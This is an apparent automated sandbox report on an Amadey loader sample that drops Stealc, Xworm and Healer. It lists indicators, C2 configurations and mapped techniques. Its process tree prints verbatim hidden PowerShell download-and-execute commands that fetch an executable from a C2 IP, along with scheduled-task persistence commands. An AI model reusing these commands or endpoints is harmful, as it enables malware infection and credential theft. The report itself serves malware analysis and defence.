amadey | c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e

Analysis

max time kernel
40s
max time network
150s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27/03/2025, 07:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
Size

1.9MB
MD5

c9e35f3be0a99258747eee4b2bef19f2
SHA1

ba70a487a2da7acb8cfc4a761a4dd8b095cdcb59
SHA256

c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e
SHA512

8e417bf09007f65fd96c8ec31b212e7069f3f74c1bdaf08ec41da0edd5b15c453396f12c815d20058ff37d05bb9a2fa8ba527f3977112f00b864995d9ff42d6e
SSDEEP

24576:pZlgrTXxqn0airby/O/D9SsVkl8UxjgpLLyn2o+HlmzQJ57IwHC6iPlHi9a2Mi:pHg3XcerO/O7jk6Ux2/o+Hdb9HGO2

Score

10^/10

amadey healer stealc xworm 092155 trump credential_access defense_evasion discovery dropper execution persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Extracted

Family

xworm

Version

5.0

b.strongest.network:22394

Mutex

g0tzhJeA9KqJ5VDD

Attributes

Install_directory
%AppData%
install_file
MsWin32tart.exe

aes.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000500000001ccae-2080.dat	family_xworm
behavioral1/memory/2528-2085-0x00000000009E0000-0x0000000000A0E000-memory.dmp	family_xworm
behavioral1/memory/4828-2940-0x0000000000D30000-0x0000000000D5E000-memory.dmp	family_xworm

Detects Healer an antivirus disabler dropper 3 IoCs

resource	yara_rule
behavioral1/memory/3276-594-0x0000000000E80000-0x00000000012C8000-memory.dmp	healer
behavioral1/memory/3276-593-0x0000000000E80000-0x00000000012C8000-memory.dmp	healer
behavioral1/memory/3276-793-0x0000000000E80000-0x00000000012C8000-memory.dmp	healer

Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5fc49234ef.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a2f56c2479.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	1456	powershell.exe
7	2240	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1456	powershell.exe
2240	powershell.exe
1700	powershell.exe
920	powershell.exe
2308	powershell.exe

Downloads MZ/PE file 9 IoCs

flow	pid	Process
5	2424	rapes.exe
5	2424	rapes.exe
5	2424	rapes.exe
5	2424	rapes.exe
5	2424	rapes.exe
15	2424	rapes.exe
15	2424	rapes.exe
6	1456	powershell.exe
7	2240	powershell.exe

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3948	chrome.exe
3860	chrome.exe
704	chrome.exe
2208	chrome.exe
2384	chrome.exe
1880	chrome.exe
3496	chrome.exe
3964	chrome.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5fc49234ef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5fc49234ef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a2f56c2479.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a2f56c2479.exe

Executes dropped EXE 9 IoCs

pid	Process
2424	rapes.exe
2892	q4jfn3p.exe
1676	57f5e8032c.exe
2100	TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE
2568	70252e1076.exe
2684	483d2fa8a0d53818306efeb32d3.exe
2948	5fc49234ef.exe
2976	a2f56c2479.exe
2172	befe9e811c.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	5fc49234ef.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	a2f56c2479.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	rapes.exe

Loads dropped DLL 21 IoCs

pid	Process
3068	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
2424	rapes.exe
2424	rapes.exe
2976	WerFault.exe
2976	WerFault.exe
2976	WerFault.exe
2976	WerFault.exe
2424	rapes.exe
1456	powershell.exe
2424	rapes.exe
2424	rapes.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2240	powershell.exe
2424	rapes.exe
2424	rapes.exe
2424	rapes.exe
2424	rapes.exe
2424	rapes.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\57f5e8032c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10348030101\\57f5e8032c.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10348040121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\5fc49234ef.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10348240101\\5fc49234ef.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\a2f56c2479.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10348250101\\a2f56c2479.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\befe9e811c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10348260101\\befe9e811c.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0006000000015d2a-48.dat	autoit_exe
behavioral1/files/0x00050000000194d0-413.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 6 IoCs

discovery

Process Discovery

T1057

pid	Process
4728	tasklist.exe
4536	tasklist.exe
3236	tasklist.exe
4836	tasklist.exe
4724	tasklist.exe
4816	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
3068	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
2424	rapes.exe
2100	TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE
2684	483d2fa8a0d53818306efeb32d3.exe
2948	5fc49234ef.exe
2976	a2f56c2479.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5fc49234ef.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	befe9e811c.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	befe9e811c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	57f5e8032c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a2f56c2479.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	befe9e811c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	a2f56c2479.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	a2f56c2479.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2084	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
2656	taskkill.exe
1416	taskkill.exe
1924	taskkill.exe
2556	taskkill.exe
1076	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1780	schtasks.exe
280	schtasks.exe
4408	schtasks.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
3068	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
2424	rapes.exe
1456	powershell.exe
1456	powershell.exe
1456	powershell.exe
2100	TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE
2308	powershell.exe
1700	powershell.exe
920	powershell.exe
2240	powershell.exe
2240	powershell.exe
2240	powershell.exe
2684	483d2fa8a0d53818306efeb32d3.exe
2948	5fc49234ef.exe
2948	5fc49234ef.exe
2948	5fc49234ef.exe
2948	5fc49234ef.exe
2948	5fc49234ef.exe
2976	a2f56c2479.exe
2976	a2f56c2479.exe
2976	a2f56c2479.exe
704	chrome.exe
704	chrome.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeShutdownPrivilege	704	chrome.exe
Token: SeShutdownPrivilege	704	chrome.exe
Token: SeShutdownPrivilege	704	chrome.exe
Token: SeShutdownPrivilege	704	chrome.exe
Token: SeDebugPrivilege	1076	taskkill.exe
Token: SeShutdownPrivilege	704	chrome.exe
Token: SeShutdownPrivilege	704	chrome.exe
Token: SeShutdownPrivilege	704	chrome.exe
Token: SeShutdownPrivilege	704	chrome.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
3068	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
1676	57f5e8032c.exe
1676	57f5e8032c.exe
1676	57f5e8032c.exe
704	chrome.exe
2172	befe9e811c.exe
2172	befe9e811c.exe
2172	befe9e811c.exe
2172	befe9e811c.exe
2172	befe9e811c.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
1676	57f5e8032c.exe
1676	57f5e8032c.exe
1676	57f5e8032c.exe
2172	befe9e811c.exe
2172	befe9e811c.exe
2172	befe9e811c.exe
2172	befe9e811c.exe
2172	befe9e811c.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2424	3068	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe	28
PID 3068 wrote to memory of 2424	3068	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe	28
PID 3068 wrote to memory of 2424	3068	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe	28
PID 3068 wrote to memory of 2424	3068	c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe	28
PID 2424 wrote to memory of 2892	2424	rapes.exe	30
PID 2424 wrote to memory of 2892	2424	rapes.exe	30
PID 2424 wrote to memory of 2892	2424	rapes.exe	30
PID 2424 wrote to memory of 2892	2424	rapes.exe	30
PID 2892 wrote to memory of 2976	2892	q4jfn3p.exe	32
PID 2892 wrote to memory of 2976	2892	q4jfn3p.exe	32
PID 2892 wrote to memory of 2976	2892	q4jfn3p.exe	32
PID 2424 wrote to memory of 1676	2424	rapes.exe	33
PID 2424 wrote to memory of 1676	2424	rapes.exe	33
PID 2424 wrote to memory of 1676	2424	rapes.exe	33
PID 2424 wrote to memory of 1676	2424	rapes.exe	33
PID 1676 wrote to memory of 1940	1676	57f5e8032c.exe	34
PID 1676 wrote to memory of 1940	1676	57f5e8032c.exe	34
PID 1676 wrote to memory of 1940	1676	57f5e8032c.exe	34
PID 1676 wrote to memory of 1940	1676	57f5e8032c.exe	34
PID 1676 wrote to memory of 1848	1676	57f5e8032c.exe	35
PID 1676 wrote to memory of 1848	1676	57f5e8032c.exe	35
PID 1676 wrote to memory of 1848	1676	57f5e8032c.exe	35
PID 1676 wrote to memory of 1848	1676	57f5e8032c.exe	35
PID 1940 wrote to memory of 1780	1940	cmd.exe	37
PID 1940 wrote to memory of 1780	1940	cmd.exe	37
PID 1940 wrote to memory of 1780	1940	cmd.exe	37
PID 1940 wrote to memory of 1780	1940	cmd.exe	37
PID 1848 wrote to memory of 1456	1848	mshta.exe	38
PID 1848 wrote to memory of 1456	1848	mshta.exe	38
PID 1848 wrote to memory of 1456	1848	mshta.exe	38
PID 1848 wrote to memory of 1456	1848	mshta.exe	38
PID 1456 wrote to memory of 2100	1456	powershell.exe	40
PID 1456 wrote to memory of 2100	1456	powershell.exe	40
PID 1456 wrote to memory of 2100	1456	powershell.exe	40
PID 1456 wrote to memory of 2100	1456	powershell.exe	40
PID 2424 wrote to memory of 2220	2424	rapes.exe	41
PID 2424 wrote to memory of 2220	2424	rapes.exe	41
PID 2424 wrote to memory of 2220	2424	rapes.exe	41
PID 2424 wrote to memory of 2220	2424	rapes.exe	41
PID 2220 wrote to memory of 2084	2220	cmd.exe	43
PID 2220 wrote to memory of 2084	2220	cmd.exe	43
PID 2220 wrote to memory of 2084	2220	cmd.exe	43
PID 2220 wrote to memory of 2084	2220	cmd.exe	43
PID 2220 wrote to memory of 2300	2220	cmd.exe	44
PID 2220 wrote to memory of 2300	2220	cmd.exe	44
PID 2220 wrote to memory of 2300	2220	cmd.exe	44
PID 2220 wrote to memory of 2300	2220	cmd.exe	44
PID 2300 wrote to memory of 2308	2300	cmd.exe	45
PID 2300 wrote to memory of 2308	2300	cmd.exe	45
PID 2300 wrote to memory of 2308	2300	cmd.exe	45
PID 2300 wrote to memory of 2308	2300	cmd.exe	45
PID 2220 wrote to memory of 1324	2220	cmd.exe	46
PID 2220 wrote to memory of 1324	2220	cmd.exe	46
PID 2220 wrote to memory of 1324	2220	cmd.exe	46
PID 2220 wrote to memory of 1324	2220	cmd.exe	46
PID 1324 wrote to memory of 1700	1324	cmd.exe	47
PID 1324 wrote to memory of 1700	1324	cmd.exe	47
PID 1324 wrote to memory of 1700	1324	cmd.exe	47
PID 1324 wrote to memory of 1700	1324	cmd.exe	47
PID 2220 wrote to memory of 2560	2220	cmd.exe	48
PID 2220 wrote to memory of 2560	2220	cmd.exe	48
PID 2220 wrote to memory of 2560	2220	cmd.exe	48
PID 2220 wrote to memory of 2560	2220	cmd.exe	48
PID 2560 wrote to memory of 920	2560	cmd.exe	49

C:\Users\Admin\AppData\Local\Temp\c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe
"C:\Users\Admin\AppData\Local\Temp\c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
  "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Users\Admin\AppData\Local\Temp\10347640101\q4jfn3p.exe
    "C:\Users\Admin\AppData\Local\Temp\10347640101\q4jfn3p.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2892 -s 36
      4⤵
      Loads dropped DLL
      PID:2976
- - C:\Users\Admin\AppData\Local\Temp\10348030101\57f5e8032c.exe
    "C:\Users\Admin\AppData\Local\Temp\10348030101\57f5e8032c.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn xgHhUmakefr /tr "mshta C:\Users\Admin\AppData\Local\Temp\GZTkCjsSE.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1940
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn xgHhUmakefr /tr "mshta C:\Users\Admin\AppData\Local\Temp\GZTkCjsSE.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1780
  - - C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\GZTkCjsSE.hta
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of WriteProcessMemory
      PID:1848
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'VYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1456
      - C:\Users\Admin\AppData\Local\TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE
        
        "C:\Users\Admin\AppData\Local\TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2100
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\10348040121\am_no.cmd" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 2
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2084
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1324
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1700
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2560
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:920
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "Vix1Lma1mr5" /tr "mshta \"C:\Temp\FG51KLu0b.hta\"" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:280
  - - C:\Windows\SysWOW64\mshta.exe
      mshta "C:\Temp\FG51KLu0b.hta"
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      PID:2268
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2240
